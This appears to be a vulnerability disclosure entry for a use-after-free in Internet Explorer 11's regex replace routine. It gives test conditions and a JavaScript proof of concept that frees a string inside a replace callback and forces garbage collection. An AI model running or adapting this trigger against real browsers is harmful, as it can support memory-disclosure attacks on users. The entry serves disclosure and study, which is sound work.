Microsoft Internet Explorer 11 - 'Js::RegexHelper::RegexReplace' Use-After-Free

<!--
There is a Use-after-free vulnerability in Internet Explorer that could potentially be used for memory disclosure.

This was tested on IE11 running on Window 7 64-bit with the latest patches applied. Note that the PoC was tested in a 64-bit tab process via TabProcGrowth=0 registry flag and the page heap was enabled for iexplore.exe (The PoC is somewhat unreliable so applying these settings might help with reproducing).

PoC:

<script>
var vars = new Array(2);
function main() {
  vars[0] = Array(1000000).join(String.fromCharCode(0x41));
  vars[1] = String.prototype.substring.call(vars[0], 1, vars[0].length);
  String.prototype.replace.call(vars[1], RegExp(), f);
}
function f(arg1, arg2, arg3) {
  alert(arg3);
  vars[0] = 1;
  CollectGarbage();
  return 'a';
}
